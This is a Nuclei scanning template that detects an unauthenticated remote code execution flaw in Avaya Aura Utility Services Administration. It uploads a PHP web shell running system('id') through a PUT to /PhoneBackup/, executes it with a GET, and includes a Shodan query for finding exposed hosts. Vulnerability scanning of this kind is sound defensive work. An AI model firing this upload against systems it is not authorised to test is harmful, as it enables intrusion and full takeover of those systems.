id: avaya-aura-rce

info:
  name: Avaya Aura Utility Services Administration - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: Avaya Aura Utility Services Administration is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://blog.assetnote.io/2023/02/01/rce-in-avaya-aura/
    - https://download.avaya.com/css/public/documents/101076366
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 2
    verified: "true"
    shodan-query: html:"Avaya Aura"
  tags: rce,avaya,aura,iot

http:
  - raw:
      - |
        PUT /PhoneBackup/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: AVAYA
        Connection: close

        <?php system('id');

      - |
        GET /PhoneBackup/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: AVAYA
        Connection: close

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: word
        part: header_2
        words:
          - "text/html"

# Enhanced by md on 2023/03/22